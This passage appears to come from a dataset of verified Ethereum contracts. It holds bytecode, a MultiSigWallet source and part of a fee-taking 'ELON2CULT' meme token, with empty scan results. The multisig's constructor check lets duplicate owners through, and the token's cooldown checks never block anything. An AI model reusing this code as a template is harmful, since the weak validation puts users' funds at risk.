f84610678565b925061070d60208501610678565b9150604084013590509250925092565b6000806040838503121561072f578182fd5b61073883610678565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561077d57858101830151858201604001528201610761565b8181111561078e5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156109af576109af610a06565b500190565b6000828210156109c6576109c6610a06565b500390565b6002810460018216806109df57607f821691505b60208210811415610a0057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b9235780a0ea07bf2d3910ab8aa6c690b4c2a5c79b6a5c9a830452a87bac622364736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 9,636 |
0x049ca649c977ec36368f31762ff7220db0aae79f | /**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
pragma solidity ^0.4.17;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
// flag to determine if address is for a real contract or not
bool public isMultiSigWallet = false;
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT);
require(_required <= ownerCount);
require(_required != 0);
require(ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(isOwner[_owners[i]] || _owners[i] != 0);
isOwner[_owners[i]] = true;
}
isMultiSigWallet = true;
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
/// @param index the indx of the owner to be replaced
function replaceOwnerIndexed(address owner, address newOwner, uint index)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
require(owners[index] == owner);
owners[index] = newOwner;
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
internal
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
data : data,
executed : false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed))
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed))
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c146102875780634c3a6ae0146102e1578063547415251461030e5780637065cb4814610352578063784547a71461038b5780638a88c4fe146103c65780638b51d13f146104275780639ace38c21461045e578063a0e67e2b1461055c578063a8abe69a146105c6578063b5dc40c31461065d578063b77bf600146106d5578063ba51a6df146106fe578063c01a8c8414610721578063c642747414610744578063d74f8edd146107dd578063dc8452cd14610806575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061082f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061086e565b005b341561021e57600080fd5b6102346004808035906020019091905050610b0a565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cb3565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd3565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b6102f4610d02565b604051808215151515815260200191505060405180910390f35b341561031957600080fd5b61033c600480803515159060200190919080351515906020019091905050610d14565b6040518082815260200191505060405180910390f35b341561035d57600080fd5b610389600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da8565b005b341561039657600080fd5b6103ac6004808035906020019091905050610fb3565b604051808215151515815260200191505060405180910390f35b34156103d157600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611099565b005b341561043257600080fd5b6104486004808035906020019091905050611390565b6040518082815260200191505060405180910390f35b341561046957600080fd5b61047f600480803590602001909190505061145c565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561054a5780601f1061051f5761010080835404028352916020019161054a565b820191906000526020600020905b81548152906001019060200180831161052d57829003601f168201915b50509550505050505060405180910390f35b341561056757600080fd5b61056f6114b8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105b2578082015181840152602081019050610597565b505050509050019250505060405180910390f35b34156105d157600080fd5b61060660048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061154c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561064957808201518184015260208101905061062e565b505050509050019250505060405180910390f35b341561066857600080fd5b61067e60048080359060200190919050506116aa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106c15780820151818401526020810190506106a6565b505050509050019250505060405180910390f35b34156106e057600080fd5b6106e86118d4565b6040518082815260200191505060405180910390f35b341561070957600080fd5b61071f60048080359060200190919050506118da565b005b341561072c57600080fd5b610742600480803590602001909190505061199d565b005b341561074f57600080fd5b6107c7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611b7c565b6040518082815260200191505060405180910390f35b34156107e857600080fd5b6107f0611b9b565b6040518082815260200191505060405180910390f35b341561081157600080fd5b610819611ba0565b6040518082815260200191505060405180910390f35b60048181548110151561083e57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108aa57600080fd5b81600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561090357600080fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160048054905003821015610a8b578273ffffffffffffffffffffffffffffffffffffffff1660048381548110151561099657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a7e5760046001600480549050038154811015156109f557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600483815481101515610a3057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a8b565b8180600101925050610960565b6001600481818054905003915081610aa39190611eb7565b506004805490506005541115610ac257610ac16004805490506118da565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b6357600080fd5b81336002600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bce57600080fd5b836001600082815260200190815260200160002060030160009054906101000a900460ff16151515610bff57600080fd5b60006002600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60026020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000809054906101000a900460ff1681565b600080600090505b600654811015610da157838015610d5457506001600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d885750828015610d8757506001600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d94576001820191505b8080600101915050610d1c565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de257600080fd5b80600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e3c57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e6357600080fd5b60016004805490500160055460328211151515610e7f57600080fd5b818111151515610e8e57600080fd5b60008114151515610e9e57600080fd5b60008214151515610eae57600080fd5b6001600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060048054806001018281610f1a9190611ee3565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60048054905081101561109157600260008581526020019081526020016000206000600483815481101515610ff157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611071576001820191505b6005548214156110845760019250611092565b8080600101915050610fc0565b5b5050919050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d357600080fd5b82600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561112c57600080fd5b82600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561118657600080fd5b8473ffffffffffffffffffffffffffffffffffffffff166004848154811015156111ac57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156111fa57600080fd5b8360048481548110151561120a57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080600090505b600480549050811015611456576002600084815260200190815260200160002060006004838154811015156113c957fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611449576001820191505b8080600101915050611398565b50919050565b60016020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6114c0611f0f565b600480548060200260200160405190810160405280929190818152602001828054801561154257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116114f8575b5050505050905090565b611554611f23565b61155c611f23565b60008060065460405180591061156f5750595b9080825280602002602001820160405250925060009150600090505b60065481101561162d578580156115c357506001600082815260200190815260200160002060030160009054906101000a900460ff16155b806115f757508480156115f657506001600082815260200190815260200160002060030160009054906101000a900460ff165b5b156116205780838381518110151561160b57fe5b90602001906020020181815250506001820191505b808060010191505061158b565b87870360405180591061163d5750595b908082528060200260200182016040525093508790505b8681101561169f57828181518110151561166a57fe5b906020019060200201518489830381518110151561168457fe5b90602001906020020181815250508080600101915050611654565b505050949350505050565b6116b2611f0f565b6116ba611f0f565b6000806004805490506040518059106116d05750595b9080825280602002602001820160405250925060009150600090505b60048054905081101561182f5760026000868152602001908152602001600020600060048381548110151561171d57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611822576004818154811015156117a557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156117df57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506116ec565b8160405180591061183d5750595b90808252806020026020018201604052509350600090505b818110156118cc57828181518110151561186b57fe5b90602001906020020151848281518110151561188357fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611855565b505050919050565b60065481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191457600080fd5b600480549050816032821115151561192b57600080fd5b81811115151561193a57600080fd5b6000811415151561194a57600080fd5b6000821415151561195a57600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119f657600080fd5b8160006001600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611a5357600080fd5b82336002600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611abf57600080fd5b60016002600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611b7585611ba6565b5050505050565b6000611b89848484611d64565b9050611b948161199d565b9392505050565b603281565b60055481565b6000816001600082815260200190815260200160002060030160009054906101000a900460ff16151515611bd957600080fd5b611be283610fb3565b15611d5f5760016000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cc25780601f10611c9757610100808354040283529160200191611cc2565b820191906000526020600020905b815481529060010190602001808311611ca557829003601f168201915b505091505060006040518083038185876187965a03f19250505015611d1357827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611d5e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611d8d57600080fd5b60065491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506001600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e4d929190611f37565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600660008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611ede57818360005260206000209182019101611edd9190611fb7565b5b505050565b815481835581811511611f0a57818360005260206000209182019101611f099190611fb7565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f7857805160ff1916838001178555611fa6565b82800160010185558215611fa6579182015b82811115611fa5578251825591602001919060010190611f8a565b5b509050611fb39190611fb7565b5090565b611fd991905b80821115611fd5576000816000905550600101611fbd565b5090565b905600a165627a7a7230582014bf82ebdbd651d75e1a002b98370755749b1ee6efde17460ab6168f00e4f7720029 | {"success": true, "error": null, "results": {}} | 9,637 |
0x9a8aabcb89e100aa39caef89c0584fa4f2f44af8 | /*
https://t.me/Elon2Cult
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ELON2CULT is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Elon2Cult"; ////
string public constant symbol = unicode"ELON2CULT"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (30 minutes)) {
fee += 1;
}
}
